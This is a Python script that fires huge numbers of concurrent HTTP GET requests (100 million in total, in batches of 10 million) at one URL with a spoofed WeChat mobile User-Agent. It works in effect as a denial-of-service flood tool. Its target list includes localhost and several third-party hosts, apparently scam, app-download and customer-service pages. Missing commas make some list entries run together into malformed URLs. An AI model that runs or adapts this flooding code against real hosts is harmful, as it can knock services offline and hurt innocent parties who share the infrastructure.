import asyncio
import os
import aiohttp
import logging
import concurrent.futures
from tqdm import tqdm

# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# 修正 header 定义
header = {
    'Content-Type': 'application/json',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255'
}


async def send_request(session, url, progress_bar):
    try:
        async with session.get(url, headers=header) as response:
            response_json = await response.json()
            # logger.info(f"Received response from {url}: {response_json}")
            progress_bar.update(1)  # 更新进度条
            return response_json
    except aiohttp.ContentTypeError as e:
        logger.error(f"Content type error when sending request to {url}: {e}")
    except Exception as e:
        logger.error(f"Error sending request to {url}: {e}")


async def worker(url, max_requests, batch_size, progress_bar):
    async with aiohttp.ClientSession() as session:
        request_count = 0
        while request_count < max_requests:
            tasks = []
            for _ in range(batch_size):
                if request_count >= max_requests:
                    break
                task = asyncio.create_task(send_request(session, url, progress_bar))
                tasks.append(task)
                request_count += 1

            # 并发执行任务
            await asyncio.gather(*tasks)


def thread_worker(url, max_requests, batch_size, progress_bar):
    asyncio.run(worker(url, max_requests, batch_size, progress_bar))


if __name__ == "__main__":
    urls = [
        "http://localhost/"
        "https://baike.baidu.com/lemma/api/lemmapv?id=3b693b6bb391f939edde46b8",
        'http://localhost:8000/app/pool',
        "https://adv.xinghe.gov.cn/adminimg/ts.svg?do=KtQrecKx",
        "http://vcdyx.cn/KtQrecKx",
        "https://zxupload.nomge.com/upload/20241207/15313449e8004.html?d=CUUWQhAJSxsVTQ9YVFJIFhJJA14OVgpTBl1IVV9aHw4DYlR6O1opG1ABXwEEDx5QFVwOTuWdi-e6jOWvhuacuQ"
        "http://dk7y2gtf1.ctdcdn.com.ctdcdn.com/B4g7CUKJwX/J73dyA0jNc?id=nC8sHD8mnLH0&token=tx5QjmDl",  # 在线客服
        "https://d3tnmhht5xaziz.cloudfront.net/hengan-112",  # app下载页面
        "https://cghndd.nlzrn.cn/nl99k0td"  # app  下载链接
        "https://5791983.zroowiamsbhg.hybhqd.com/bb92be7d2bc35d02cbd3078a92ce1663c/43pvn466.apk",  # app 链接
    ][0]

    max_requests = 100000000  # 最大请求数
    batch_size = 10000000  # 每次并发执行的请求数
    num_threads = 1  # 线程数

    # with open(f'./{os.getpid()}.pid', 'w') as f:
    #     pass

    total_requests = max_requests * num_threads
    with tqdm(total=total_requests, desc="Sending requests") as progress_bar:
        with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
            # 添加任务
            futures = [executor.submit(thread_worker, urls, max_requests // num_threads, batch_size, progress_bar)
                       for _ in range(num_threads)]
            for future in concurrent.futures.as_completed(futures):
                future.result()
